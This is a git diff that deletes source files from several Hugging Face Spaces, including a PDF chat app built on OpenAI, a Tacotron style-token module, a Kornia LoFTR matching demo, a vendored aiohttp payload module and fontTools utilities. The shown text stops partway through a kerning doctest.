b5f279115536a9ec4d5ae18f1d6f7c0b7bb4cf37..0000000000000000000000000000000000000000 --- a/spaces/king007/pdfChatter/app.py +++ /dev/null @@ -1,231 +0,0 @@ -import urllib.request -import fitz -import re -import numpy as np -import tensorflow_hub as hub -import openai -import gradio as gr -import os -from sklearn.neighbors import NearestNeighbors - -def download_pdf(url, output_path): - urllib.request.urlretrieve(url, output_path) - - -def preprocess(text): - text = text.replace('\n', ' ') - text = re.sub('\s+', ' ', text) - return text - -def word_count0(str): - words = str.split() - - return len(words) - -def pdf_to_text(path, start_page=1, end_page=None): - doc = fitz.open(path) - total_pages = doc.page_count - - if end_page is None: - end_page = total_pages - - text_list = [] - # - text_len = 0 - # - pdf_parse_status = 1 - # - for i in range(start_page-1, end_page): - text = doc.load_page(i).get_text("text") - text = preprocess(text) - text_list.append(text) - # - text_len = text_len + word_count0(text) - doc.close() - print(text_len) - if(text_len>1500): - pdf_parse_status = 0 - return [], pdf_parse_status - return text_list, pdf_parse_status - - -def text_to_chunks(texts, word_length=150, start_page=1): - text_toks = [t.split(' ') for t in texts] - page_nums = [] - chunks = [] - # - text_len = 0 - # - pdf_parse_status = 1 - # - for idx, words in enumerate(text_toks): - for i in range(0, len(words), word_length): - chunk = words[i:i+word_length] - if (i+word_length) > len(words) and (len(chunk) < word_length) and ( - len(text_toks) != (idx+1)): - text_toks[idx+1] = chunk + text_toks[idx+1] - continue - chunk = ' '.join(chunk).strip() - chunk = f'[Page no. {idx+start_page}]' + ' ' + '"' + chunk + '"' - chunks.append(chunk) - text_len = text_len + word_count0(chunk) - - return chunks - - -class SemanticSearch: - - def __init__(self): - self.use = hub.load('https://tfhub.dev/google/universal-sentence-encoder/4') - self.fitted = False - - - def fit(self, data, batch=1000, n_neighbors=5): - self.data = data - self.embeddings = self.get_text_embedding(data, batch=batch) - n_neighbors = min(n_neighbors, len(self.embeddings)) - self.nn = NearestNeighbors(n_neighbors=n_neighbors) - self.nn.fit(self.embeddings) - self.fitted = True - - - def __call__(self, text, return_data=True): - inp_emb = self.use([text]) - neighbors = self.nn.kneighbors(inp_emb, return_distance=False)[0] - - if return_data: - return [self.data[i] for i in neighbors] - else: - return neighbors - - - def get_text_embedding(self, texts, batch=1000): - embeddings = [] - for i in range(0, len(texts), batch): - text_batch = texts[i:(i+batch)] - emb_batch = self.use(text_batch) - embeddings.append(emb_batch) - embeddings = np.vstack(embeddings) - return embeddings - - - -def load_recommender(path, start_page=1): - global recommender - texts, pdf_parse_status = pdf_to_text(path, start_page=start_page) - if pdf_parse_status == 0: - return 'file too large.', pdf_parse_status - else: - chunks = text_to_chunks(texts, start_page=start_page) - recommender.fit(chunks) - return 'Corpus Loaded.', pdf_parse_status - - -def generate_text(openAI_key,prompt, engine="text-davinci-003"): - openai.api_key = openAI_key - completions = openai.Completion.create( - engine=engine, - prompt=prompt, - max_tokens=512, - n=1, - stop=None, - temperature=0.7, - ) - message = completions.choices[0].text - return message - - -def generate_answer(question,openAI_key): - topn_chunks = recommender(question) - prompt = "" - prompt += 'search results:\n\n' - for c in topn_chunks: - prompt += c + '\n\n' - - prompt += "Instructions: Compose a comprehensive reply to the query using the search results given. "\ - "Cite each reference using [ Page Number] notation (every result has this number at the beginning). "\ - "Citation should be done at the end of each sentence. If the search results mention multiple subjects "\ - "with the same name, create separate answers for each. Only include information found in the results and "\ - "don't add any additional information. Make sure the answer is correct and don't output false content. "\ - "If the text does not relate to the query, simply state 'Found Nothing'. Ignore outlier "\ - "search results which has nothing to do with the question. Only answer what is asked. The "\ - "answer should be short and concise. \n\nQuery: {question}\nAnswer: " - - prompt += f"Query: {question}\nAnswer:" - answer = generate_text(openAI_key, prompt,"text-davinci-003") - return answer - - -def question_answer(useremail, url, file, question,openAI_key): - if openAI_key.strip()=='': - return '[ERROR]: Please enter you Open AI Key. Get your key here : https://platform.openai.com/account/api-keys' - if url.strip() == '' and file == None: - return '[ERROR]: Both URL and PDF is empty. Provide atleast one.' - - if url.strip() != '' and file != None: - return '[ERROR]: Both URL and PDF is provided. Please provide only one (eiter URL or PDF).' - # - pdf_parse_status = 1 - if url.strip() != '': - glob_url = url - download_pdf(glob_url, 'corpus.pdf') - load_resp, pdf_parse_status = load_recommender('corpus.pdf') - - else: - old_file_name = file.name - file_name = file.name - file_name = file_name[:-12] + file_name[-4:] - os.rename(old_file_name, file_name) - load_resp, pdf_parse_status = load_recommender(file_name) - # - if pdf_parse_status == 0: - return 'CODE:1004, MSG:PDF FILE TOO LARGE' - if question.strip() == '': - return '[ERROR]: Question field is empty' - - return generate_answer(question,openAI_key) - - -recommender = SemanticSearch() - -title = 'PDF GPT' -description = """ PDF GPT allows you to chat with your PDF file using Universal Sentence Encoder and Open AI. It gives hallucination free response than other tools as the embeddings are better than OpenAI. The returned response can even cite the page number in square brackets([]) where the information is located, adding credibility to the responses and helping to locate pertinent information quickly.""" - - -with gr.Blocks() as demo: - - gr.Markdown(f'

          {title}

          ') - gr.Markdown(description) - - with gr.Row(): - - with gr.Group(): - gr.Markdown(f'

          Get your Open AI API key here

          ') - openAI_key=gr.Textbox(label='Enter your OpenAI API key here') - url = gr.Textbox(label='Enter PDF URL here') - gr.Markdown("

          OR

          ") - file = gr.File(label='Upload your PDF/ Research Paper / Book here', file_types=['.pdf']) - question = gr.Textbox(label='Enter your question here') - btn = gr.Button(value='Submit') - btn.style(full_width=True) - - with gr.Group(): - answer = gr.Textbox(label='The answer to your question is :') - - btn.click(question_answer, inputs=[url, file, question,openAI_key], outputs=[answer]) -#openai.api_key = os.getenv('Your_Key_Here') -# demo.launch() -################################### -gr.Markdown(f'

          Get your Open AI API key here

          ') -openAI_key=gr.Textbox(label='Enter your OpenAI API key here') -useremail = gr.Textbox(label='Enter user email here') -url = gr.Textbox(label='Enter PDF URL here') -gr.Markdown("

          OR

          ") -file = gr.File(label='Upload your PDF/ Research Paper / Book here', file_types=['.pdf']) -question = gr.Textbox(label='Enter your question here') -btn = gr.Button(value='Submit') -btn.style(full_width=True) -answer = gr.Textbox(label='The answer to your question is :') -gr.Interface(fn=question_answer, - inputs=[useremail, url, file, question,openAI_key], - outputs=[answer]).launch() \ No newline at end of file diff --git a/spaces/kira4424/Tacotron-zero-short-voice-clone/synthesizer/models/sublayer/global_style_token.py b/spaces/kira4424/Tacotron-zero-short-voice-clone/synthesizer/models/sublayer/global_style_token.py deleted file mode 100644 index 21ce07e7056ee575ee37e3855e1489d6cea7ccae..0000000000000000000000000000000000000000 --- a/spaces/kira4424/Tacotron-zero-short-voice-clone/synthesizer/models/sublayer/global_style_token.py +++ /dev/null @@ -1,145 +0,0 @@ -import torch -import torch.nn as nn -import torch.nn.init as init -import torch.nn.functional as tFunctional -from synthesizer.gst_hyperparameters import GSTHyperparameters as hp -from synthesizer.hparams import hparams - - -class GlobalStyleToken(nn.Module): - """ - inputs: style mel spectrograms [batch_size, num_spec_frames, num_mel] - speaker_embedding: speaker mel spectrograms [batch_size, num_spec_frames, num_mel] - outputs: [batch_size, embedding_dim] - """ - def __init__(self, speaker_embedding_dim=None): - - super().__init__() - self.encoder = ReferenceEncoder() - self.stl = STL(speaker_embedding_dim) - - def forward(self, inputs, speaker_embedding=None): - enc_out = self.encoder(inputs) - # concat speaker_embedding according to https://github.com/mozilla/TTS/blob/master/TTS/tts/layers/gst_layers.py - if hparams.use_ser_for_gst and speaker_embedding is not None: - enc_out = torch.cat([enc_out, speaker_embedding], dim=-1) - style_embed = self.stl(enc_out) - - return style_embed - - -class ReferenceEncoder(nn.Module): - ''' - inputs --- [N, Ty/r, n_mels*r] mels - outputs --- [N, ref_enc_gru_size] - ''' - - def __init__(self): - - super().__init__() - K = len(hp.ref_enc_filters) - filters = [1] + hp.ref_enc_filters - convs = [nn.Conv2d(in_channels=filters[i], - out_channels=filters[i + 1], - kernel_size=(3, 3), - stride=(2, 2), - padding=(1, 1)) for i in range(K)] - self.convs = nn.ModuleList(convs) - self.bns = nn.ModuleList([nn.BatchNorm2d(num_features=hp.ref_enc_filters[i]) for i in range(K)]) - - out_channels = self.calculate_channels(hp.n_mels, 3, 2, 1, K) - self.gru = nn.GRU(input_size=hp.ref_enc_filters[-1] * out_channels, - hidden_size=hp.E // 2, - batch_first=True) - - def forward(self, inputs): - N = inputs.size(0) - out = inputs.view(N, 1, -1, hp.n_mels) # [N, 1, Ty, n_mels] - for conv, bn in zip(self.convs, self.bns): - out = conv(out) - out = bn(out) - out = tFunctional.relu(out) # [N, 128, Ty//2^K, n_mels//2^K] - - out = out.transpose(1, 2) # [N, Ty//2^K, 128, n_mels//2^K] - T = out.size(1) - N = out.size(0) - out = out.contiguous().view(N, T, -1) # [N, Ty//2^K, 128*n_mels//2^K] - - self.gru.flatten_parameters() - memory, out = self.gru(out) # out --- [1, N, E//2] - - return out.squeeze(0) - - def calculate_channels(self, L, kernel_size, stride, pad, n_convs): - for i in range(n_convs): - L = (L - kernel_size + 2 * pad) // stride + 1 - return L - - -class STL(nn.Module): - ''' - inputs --- [N, E//2] - ''' - - def __init__(self, speaker_embedding_dim=None): - - super().__init__() - self.embed = nn.Parameter(torch.FloatTensor(hp.token_num, hp.E // hp.num_heads)) - d_q = hp.E // 2 - d_k = hp.E // hp.num_heads - # self.attention = MultiHeadAttention(hp.num_heads, d_model, d_q, d_v) - if hparams.use_ser_for_gst and speaker_embedding_dim is not None: - d_q += speaker_embedding_dim - self.attention = MultiHeadAttention(query_dim=d_q, key_dim=d_k, num_units=hp.E, num_heads=hp.num_heads) - - init.normal_(self.embed, mean=0, std=0.5) - - def forward(self, inputs): - N = inputs.size(0) - query = inputs.unsqueeze(1) # [N, 1, E//2] - keys = torch.tanh(self.embed).unsqueeze(0).expand(N, -1, -1) # [N, token_num, E // num_heads] - style_embed = self.attention(query, keys) - - return style_embed - - -class MultiHeadAttention(nn.Module): - ''' - input: - query --- [N, T_q, query_dim] - key --- [N, T_k, key_dim] - output: - out --- [N, T_q, num_units] - ''' - - def __init__(self, query_dim, key_dim, num_units, num_heads): - - super().__init__() - self.num_units = num_units - self.num_heads = num_heads - self.key_dim = key_dim - - self.W_query = nn.Linear(in_features=query_dim, out_features=num_units, bias=False) - self.W_key = nn.Linear(in_features=key_dim, out_features=num_units, bias=False) - self.W_value = nn.Linear(in_features=key_dim, out_features=num_units, bias=False) - - def forward(self, query, key): - querys = self.W_query(query) # [N, T_q, num_units] - keys = self.W_key(key) # [N, T_k, num_units] - values = self.W_value(key) - - split_size = self.num_units // self.num_heads - querys = torch.stack(torch.split(querys, split_size, dim=2), dim=0) # [h, N, T_q, num_units/h] - keys = torch.stack(torch.split(keys, split_size, dim=2), dim=0) # [h, N, T_k, num_units/h] - values = torch.stack(torch.split(values, split_size, dim=2), dim=0) # [h, N, T_k, num_units/h] - - # score = softmax(QK^T / (d_k ** 0.5)) - scores = torch.matmul(querys, keys.transpose(2, 3)) # [h, N, T_q, T_k] - scores = scores / (self.key_dim ** 0.5) - scores = tFunctional.softmax(scores, dim=3) - - # out = score * V - out = torch.matmul(scores, values) # [h, N, T_q, num_units/h] - out = torch.cat(torch.split(out, 1, dim=0), dim=3).squeeze(0) # [N, T_q, num_units] - - return out diff --git a/spaces/kokofixcomputers/chat-ui/src/lib/utils/streamToAsyncIterable.ts b/spaces/kokofixcomputers/chat-ui/src/lib/utils/streamToAsyncIterable.ts deleted file mode 100644 index e935d719c8c29eb5e4efc30812f61b5f44716923..0000000000000000000000000000000000000000 --- a/spaces/kokofixcomputers/chat-ui/src/lib/utils/streamToAsyncIterable.ts +++ /dev/null @@ -1,15 +0,0 @@ -// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of#iterating_over_async_generators -export async function* streamToAsyncIterable( - stream: ReadableStream -): AsyncIterableIterator { - const reader = stream.getReader(); - try { - while (true) { - const { done, value } = await reader.read(); - if (done) return; - yield value; - } - } finally { - reader.releaseLock(); - } -} diff --git a/spaces/kornia/Kornia-LoFTR/app.py b/spaces/kornia/Kornia-LoFTR/app.py deleted file mode 100644 index f43873ae66e1b82e3a6d941ebcae32c557d8e3f7..0000000000000000000000000000000000000000 --- a/spaces/kornia/Kornia-LoFTR/app.py +++ /dev/null @@ -1,71 +0,0 @@ -import matplotlib.pyplot as plt -import cv2 -import kornia as K -import kornia.feature as KF -import numpy as np -import torch -from kornia_moons.feature import * -import gradio as gr - -def load_torch_image(fname): - img: Tensor = K.io.load_image(fname, K.io.ImageLoadType.RGB32) - img = img[None] # 1xCxHxW / fp32 / [0, 1] - img = K.geometry.resize(img, (700, 700)) - return img - -def inference(file1,file2): - fname1 = file1.name - fname2 = file2.name - img1 = load_torch_image(fname1) - img2 = load_torch_image(fname2) - - matcher = KF.LoFTR(pretrained='outdoor') - - input_dict = {"image0": K.color.rgb_to_grayscale(img1), # LofTR works on grayscale images only - "image1": K.color.rgb_to_grayscale(img2)} - - with torch.no_grad(): - correspondences = matcher(input_dict) - mkpts0 = correspondences['keypoints0'].cpu().numpy() - mkpts1 = correspondences['keypoints1'].cpu().numpy() - H, inliers = cv2.findFundamentalMat(mkpts0, mkpts1, cv2.USAC_MAGSAC, 0.5, 0.999, 100000) - inliers = inliers > 0 - fig, ax = plt.subplots() - - draw_LAF_matches( - KF.laf_from_center_scale_ori(torch.from_numpy(mkpts0).view(1,-1, 2), - torch.ones(mkpts0.shape[0]).view(1,-1, 1, 1), - torch.ones(mkpts0.shape[0]).view(1,-1, 1)), - - KF.laf_from_center_scale_ori(torch.from_numpy(mkpts1).view(1,-1, 2), - torch.ones(mkpts1.shape[0]).view(1,-1, 1, 1), - torch.ones(mkpts1.shape[0]).view(1,-1, 1)), - torch.arange(mkpts0.shape[0]).view(-1,1).repeat(1,2), - K.tensor_to_image(img1), - K.tensor_to_image(img2), - inliers, - draw_dict={'inlier_color': (0.2, 1, 0.2), - 'tentative_color': None, - 'feature_color': (0.2, 0.5, 1), 'vertical': False}, ax=ax) - plt.axis('off') - fig.savefig('example.jpg',dpi=110,bbox_inches='tight') - return 'example.jpg' - - -title = "Kornia-Loftr" -description = "Gradio demo for Kornia-Loftr: Detector-Free Local Feature Matching with Transformers. To use it, simply upload your image, or click one of the examples to load them. Read more at the links below." -article = "

          Open Source Differentiable Computer Vision Library | Kornia Github Repo | LoFTR Github | LoFTR: Detector-Free Local Feature Matching with Transformers

          " -css = ".output_image, .input_image {height: 40rem !important; width: 100% !important;}" - -examples = [['kn_church-2.jpg','kn_church-8.jpg']] -gr.Interface( - inference, - [gr.inputs.Image(type="file", label="Input1"),gr.inputs.Image(type="file", label="Input2")], - gr.outputs.Image(type="file", label="Output"), - title=title, - description=description, - article=article, - enable_queue=True, - examples=examples, - css=css - ).launch(debug=True) \ No newline at end of file diff --git a/spaces/kquote03/lama-video-watermark-remover/saicinpainting/evaluation/__init__.py b/spaces/kquote03/lama-video-watermark-remover/saicinpainting/evaluation/__init__.py deleted file mode 100644 index e9c8117565b252ca069a808b31b8c52aaddd2289..0000000000000000000000000000000000000000 --- a/spaces/kquote03/lama-video-watermark-remover/saicinpainting/evaluation/__init__.py +++ /dev/null @@ -1,33 +0,0 @@ -import logging - -import torch - -from saicinpainting.evaluation.evaluator import InpaintingEvaluatorOnline, ssim_fid100_f1, lpips_fid100_f1 -from saicinpainting.evaluation.losses.base_loss import SSIMScore, LPIPSScore, FIDScore - - -def make_evaluator(kind='default', ssim=True, lpips=True, fid=True, integral_kind=None, **kwargs): - logging.info(f'Make evaluator {kind}') - device = "cuda" if torch.cuda.is_available() else "cpu" - metrics = {} - if ssim: - metrics['ssim'] = SSIMScore() - if lpips: - metrics['lpips'] = LPIPSScore() - if fid: - metrics['fid'] = FIDScore().to(device) - - if integral_kind is None: - integral_func = None - elif integral_kind == 'ssim_fid100_f1': - integral_func = ssim_fid100_f1 - elif integral_kind == 'lpips_fid100_f1': - integral_func = lpips_fid100_f1 - else: - raise ValueError(f'Unexpected integral_kind={integral_kind}') - - if kind == 'default': - return InpaintingEvaluatorOnline(scores=metrics, - integral_func=integral_func, - integral_title=integral_kind, - **kwargs) diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/aiohttp/payload.py b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/aiohttp/payload.py deleted file mode 100644 index 625b2eaccec79699d400ac21e768211feefc60c1..0000000000000000000000000000000000000000 --- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/aiohttp/payload.py +++ /dev/null @@ -1,465 +0,0 @@ -import asyncio -import enum -import io -import json -import mimetypes -import os -import warnings -from abc import ABC, abstractmethod -from itertools import chain -from typing import ( - IO, - TYPE_CHECKING, - Any, - ByteString, - Dict, - Iterable, - Optional, - TextIO, - Tuple, - Type, - Union, -) - -from multidict import CIMultiDict - -from . import hdrs -from .abc import AbstractStreamWriter -from .helpers import ( - PY_36, - content_disposition_header, - guess_filename, - parse_mimetype, - sentinel, -) -from .streams import StreamReader -from .typedefs import Final, JSONEncoder, _CIMultiDict - -__all__ = ( - "PAYLOAD_REGISTRY", - "get_payload", - "payload_type", - "Payload", - "BytesPayload", - "StringPayload", - "IOBasePayload", - "BytesIOPayload", - "BufferedReaderPayload", - "TextIOPayload", - "StringIOPayload", - "JsonPayload", - "AsyncIterablePayload", -) - -TOO_LARGE_BYTES_BODY: Final[int] = 2**20 # 1 MB - -if TYPE_CHECKING: # pragma: no cover - from typing import List - - -class LookupError(Exception): - pass - - -class Order(str, enum.Enum): - normal = "normal" - try_first = "try_first" - try_last = "try_last" - - -def get_payload(data: Any, *args: Any, **kwargs: Any) -> "Payload": - return PAYLOAD_REGISTRY.get(data, *args, **kwargs) - - -def register_payload( - factory: Type["Payload"], type: Any, *, order: Order = Order.normal -) -> None: - PAYLOAD_REGISTRY.register(factory, type, order=order) - - -class payload_type: - def __init__(self, type: Any, *, order: Order = Order.normal) -> None: - self.type = type - self.order = order - - def __call__(self, factory: Type["Payload"]) -> Type["Payload"]: - register_payload(factory, self.type, order=self.order) - return factory - - -PayloadType = Type["Payload"] -_PayloadRegistryItem = Tuple[PayloadType, Any] - - -class PayloadRegistry: - """Payload registry. - - note: we need zope.interface for more efficient adapter search - """ - - def __init__(self) -> None: - self._first: List[_PayloadRegistryItem] = [] - self._normal: List[_PayloadRegistryItem] = [] - self._last: List[_PayloadRegistryItem] = [] - - def get( - self, - data: Any, - *args: Any, - _CHAIN: "Type[chain[_PayloadRegistryItem]]" = chain, - **kwargs: Any, - ) -> "Payload": - if isinstance(data, Payload): - return data - for factory, type in _CHAIN(self._first, self._normal, self._last): - if isinstance(data, type): - return factory(data, *args, **kwargs) - - raise LookupError() - - def register( - self, factory: PayloadType, type: Any, *, order: Order = Order.normal - ) -> None: - if order is Order.try_first: - self._first.append((factory, type)) - elif order is Order.normal: - self._normal.append((factory, type)) - elif order is Order.try_last: - self._last.append((factory, type)) - else: - raise ValueError(f"Unsupported order {order!r}") - - -class Payload(ABC): - - _default_content_type: str = "application/octet-stream" - _size: Optional[int] = None - - def __init__( - self, - value: Any, - headers: Optional[ - Union[_CIMultiDict, Dict[str, str], Iterable[Tuple[str, str]]] - ] = None, - content_type: Optional[str] = sentinel, - filename: Optional[str] = None, - encoding: Optional[str] = None, - **kwargs: Any, - ) -> None: - self._encoding = encoding - self._filename = filename - self._headers: _CIMultiDict = CIMultiDict() - self._value = value - if content_type is not sentinel and content_type is not None: - self._headers[hdrs.CONTENT_TYPE] = content_type - elif self._filename is not None: - content_type = mimetypes.guess_type(self._filename)[0] - if content_type is None: - content_type = self._default_content_type - self._headers[hdrs.CONTENT_TYPE] = content_type - else: - self._headers[hdrs.CONTENT_TYPE] = self._default_content_type - self._headers.update(headers or {}) - - @property - def size(self) -> Optional[int]: - """Size of the payload.""" - return self._size - - @property - def filename(self) -> Optional[str]: - """Filename of the payload.""" - return self._filename - - @property - def headers(self) -> _CIMultiDict: - """Custom item headers""" - return self._headers - - @property - def _binary_headers(self) -> bytes: - return ( - "".join([k + ": " + v + "\r\n" for k, v in self.headers.items()]).encode( - "utf-8" - ) - + b"\r\n" - ) - - @property - def encoding(self) -> Optional[str]: - """Payload encoding""" - return self._encoding - - @property - def content_type(self) -> str: - """Content type""" - return self._headers[hdrs.CONTENT_TYPE] - - def set_content_disposition( - self, - disptype: str, - quote_fields: bool = True, - _charset: str = "utf-8", - **params: Any, - ) -> None: - """Sets ``Content-Disposition`` header.""" - self._headers[hdrs.CONTENT_DISPOSITION] = content_disposition_header( - disptype, quote_fields=quote_fields, _charset=_charset, **params - ) - - @abstractmethod - async def write(self, writer: AbstractStreamWriter) -> None: - """Write payload. - - writer is an AbstractStreamWriter instance: - """ - - -class BytesPayload(Payload): - def __init__(self, value: ByteString, *args: Any, **kwargs: Any) -> None: - if not isinstance(value, (bytes, bytearray, memoryview)): - raise TypeError(f"value argument must be byte-ish, not {type(value)!r}") - - if "content_type" not in kwargs: - kwargs["content_type"] = "application/octet-stream" - - super().__init__(value, *args, **kwargs) - - if isinstance(value, memoryview): - self._size = value.nbytes - else: - self._size = len(value) - - if self._size > TOO_LARGE_BYTES_BODY: - if PY_36: - kwargs = {"source": self} - else: - kwargs = {} - warnings.warn( - "Sending a large body directly with raw bytes might" - " lock the event loop. You should probably pass an " - "io.BytesIO object instead", - ResourceWarning, - **kwargs, - ) - - async def write(self, writer: AbstractStreamWriter) -> None: - await writer.write(self._value) - - -class StringPayload(BytesPayload): - def __init__( - self, - value: str, - *args: Any, - encoding: Optional[str] = None, - content_type: Optional[str] = None, - **kwargs: Any, - ) -> None: - - if encoding is None: - if content_type is None: - real_encoding = "utf-8" - content_type = "text/plain; charset=utf-8" - else: - mimetype = parse_mimetype(content_type) - real_encoding = mimetype.parameters.get("charset", "utf-8") - else: - if content_type is None: - content_type = "text/plain; charset=%s" % encoding - real_encoding = encoding - - super().__init__( - value.encode(real_encoding), - encoding=real_encoding, - content_type=content_type, - *args, - **kwargs, - ) - - -class StringIOPayload(StringPayload): - def __init__(self, value: IO[str], *args: Any, **kwargs: Any) -> None: - super().__init__(value.read(), *args, **kwargs) - - -class IOBasePayload(Payload): - _value: IO[Any] - - def __init__( - self, value: IO[Any], disposition: str = "attachment", *args: Any, **kwargs: Any - ) -> None: - if "filename" not in kwargs: - kwargs["filename"] = guess_filename(value) - - super().__init__(value, *args, **kwargs) - - if self._filename is not None and disposition is not None: - if hdrs.CONTENT_DISPOSITION not in self.headers: - self.set_content_disposition(disposition, filename=self._filename) - - async def write(self, writer: AbstractStreamWriter) -> None: - loop = asyncio.get_event_loop() - try: - chunk = await loop.run_in_executor(None, self._value.read, 2**16) - while chunk: - await writer.write(chunk) - chunk = await loop.run_in_executor(None, self._value.read, 2**16) - finally: - await loop.run_in_executor(None, self._value.close) - - -class TextIOPayload(IOBasePayload): - _value: TextIO - - def __init__( - self, - value: TextIO, - *args: Any, - encoding: Optional[str] = None, - content_type: Optional[str] = None, - **kwargs: Any, - ) -> None: - - if encoding is None: - if content_type is None: - encoding = "utf-8" - content_type = "text/plain; charset=utf-8" - else: - mimetype = parse_mimetype(content_type) - encoding = mimetype.parameters.get("charset", "utf-8") - else: - if content_type is None: - content_type = "text/plain; charset=%s" % encoding - - super().__init__( - value, - content_type=content_type, - encoding=encoding, - *args, - **kwargs, - ) - - @property - def size(self) -> Optional[int]: - try: - return os.fstat(self._value.fileno()).st_size - self._value.tell() - except OSError: - return None - - async def write(self, writer: AbstractStreamWriter) -> None: - loop = asyncio.get_event_loop() - try: - chunk = await loop.run_in_executor(None, self._value.read, 2**16) - while chunk: - data = ( - chunk.encode(encoding=self._encoding) - if self._encoding - else chunk.encode() - ) - await writer.write(data) - chunk = await loop.run_in_executor(None, self._value.read, 2**16) - finally: - await loop.run_in_executor(None, self._value.close) - - -class BytesIOPayload(IOBasePayload): - @property - def size(self) -> int: - position = self._value.tell() - end = self._value.seek(0, os.SEEK_END) - self._value.seek(position) - return end - position - - -class BufferedReaderPayload(IOBasePayload): - @property - def size(self) -> Optional[int]: - try: - return os.fstat(self._value.fileno()).st_size - self._value.tell() - except OSError: - # data.fileno() is not supported, e.g. - # io.BufferedReader(io.BytesIO(b'data')) - return None - - -class JsonPayload(BytesPayload): - def __init__( - self, - value: Any, - encoding: str = "utf-8", - content_type: str = "application/json", - dumps: JSONEncoder = json.dumps, - *args: Any, - **kwargs: Any, - ) -> None: - - super().__init__( - dumps(value).encode(encoding), - content_type=content_type, - encoding=encoding, - *args, - **kwargs, - ) - - -if TYPE_CHECKING: # pragma: no cover - from typing import AsyncIterable, AsyncIterator - - _AsyncIterator = AsyncIterator[bytes] - _AsyncIterable = AsyncIterable[bytes] -else: - from collections.abc import AsyncIterable, AsyncIterator - - _AsyncIterator = AsyncIterator - _AsyncIterable = AsyncIterable - - -class AsyncIterablePayload(Payload): - - _iter: Optional[_AsyncIterator] = None - - def __init__(self, value: _AsyncIterable, *args: Any, **kwargs: Any) -> None: - if not isinstance(value, AsyncIterable): - raise TypeError( - "value argument must support " - "collections.abc.AsyncIterablebe interface, " - "got {!r}".format(type(value)) - ) - - if "content_type" not in kwargs: - kwargs["content_type"] = "application/octet-stream" - - super().__init__(value, *args, **kwargs) - - self._iter = value.__aiter__() - - async def write(self, writer: AbstractStreamWriter) -> None: - if self._iter: - try: - # iter is not None check prevents rare cases - # when the case iterable is used twice - while True: - chunk = await self._iter.__anext__() - await writer.write(chunk) - except StopAsyncIteration: - self._iter = None - - -class StreamReaderPayload(AsyncIterablePayload): - def __init__(self, value: StreamReader, *args: Any, **kwargs: Any) -> None: - super().__init__(value.iter_any(), *args, **kwargs) - - -PAYLOAD_REGISTRY = PayloadRegistry() -PAYLOAD_REGISTRY.register(BytesPayload, (bytes, bytearray, memoryview)) -PAYLOAD_REGISTRY.register(StringPayload, str) -PAYLOAD_REGISTRY.register(StringIOPayload, io.StringIO) -PAYLOAD_REGISTRY.register(TextIOPayload, io.TextIOBase) -PAYLOAD_REGISTRY.register(BytesIOPayload, io.BytesIO) -PAYLOAD_REGISTRY.register(BufferedReaderPayload, (io.BufferedReader, io.BufferedRandom)) -PAYLOAD_REGISTRY.register(IOBasePayload, io.IOBase) -PAYLOAD_REGISTRY.register(StreamReaderPayload, StreamReader) -# try_last for giving a chance to more specialized async interables like -# multidict.BodyPartReaderPayload override the default -PAYLOAD_REGISTRY.register(AsyncIterablePayload, AsyncIterable, order=Order.try_last) diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/qu2cu/benchmark.py b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/qu2cu/benchmark.py deleted file mode 100644 index cee55f5e7d9bffba11859caae02255bcad77e17d..0000000000000000000000000000000000000000 --- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/qu2cu/benchmark.py +++ /dev/null @@ -1,57 +0,0 @@ -"""Benchmark the qu2cu algorithm performance.""" - -from .qu2cu import * -from fontTools.cu2qu import curve_to_quadratic -import random -import timeit - -MAX_ERR = 0.5 -NUM_CURVES = 5 - - -def generate_curves(n): - points = [ - tuple(float(random.randint(0, 2048)) for coord in range(2)) - for point in range(1 + 3 * n) - ] - curves = [] - for i in range(n): - curves.append(tuple(points[i * 3 : i * 3 + 4])) - return curves - - -def setup_quadratic_to_curves(): - curves = generate_curves(NUM_CURVES) - quadratics = [curve_to_quadratic(curve, MAX_ERR) for curve in curves] - return quadratics, MAX_ERR - - -def run_benchmark(module, function, setup_suffix="", repeat=25, number=1): - setup_func = "setup_" + function - if setup_suffix: - print("%s with %s:" % (function, setup_suffix), end="") - setup_func += "_" + setup_suffix - else: - print("%s:" % function, end="") - - def wrapper(function, setup_func): - function = globals()[function] - setup_func = globals()[setup_func] - - def wrapped(): - return function(*setup_func()) - - return wrapped - - results = timeit.repeat(wrapper(function, setup_func), repeat=repeat, number=number) - print("\t%5.1fus" % (min(results) * 1000000.0 / number)) - - -def main(): - """Benchmark the qu2cu algorithm performance.""" - run_benchmark("qu2cu", "quadratic_to_curves") - - -if __name__ == "__main__": - random.seed(1) - main() diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/ufoLib/kerning.py b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/ufoLib/kerning.py deleted file mode 100644 index 8a1dca5b680fdd02d1e6ef5797e33e617005c254..0000000000000000000000000000000000000000 --- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/ufoLib/kerning.py +++ /dev/null @@ -1,91 +0,0 @@ -def lookupKerningValue( - pair, kerning, groups, fallback=0, glyphToFirstGroup=None, glyphToSecondGroup=None -): - """ - Note: This expects kerning to be a flat dictionary - of kerning pairs, not the nested structure used - in kerning.plist. - - >>> groups = { - ... "public.kern1.O" : ["O", "D", "Q"], - ... "public.kern2.E" : ["E", "F"] - ... } - >>> kerning = { - ... ("public.kern1.O", "public.kern2.E") : -100, - ... ("public.kern1.O", "F") : -200, - ... ("D", "F") : -300 - ... } - >>> lookupKerningValue(("D", "F"), kerning, groups) - -300 - >>> lookupKerningValue(("O", "F"), kerning, groups) - -200 - >>> lookupKerningValue(("O", "E"), kerning, groups) - -100 - >>> lookupKerningValue(("O", "O"), kerning, groups) - 0 - >>> lookupKerningValue(("E", "E"), kerning, groups) - 0 - >>> lookupKerningValue(("E", "O"), kerning, groups) - 0 - >>> lookupKerningValue(("X", "X"), kerning, groups) - 0 - >>> lookupKerningValue(("public.kern1.O", "public.kern2.E"), - ... kerning, groups) - -100 - >>> lookupKerningValue(("public.kern1.O", "F"), kerning, groups) - -200 - >>> 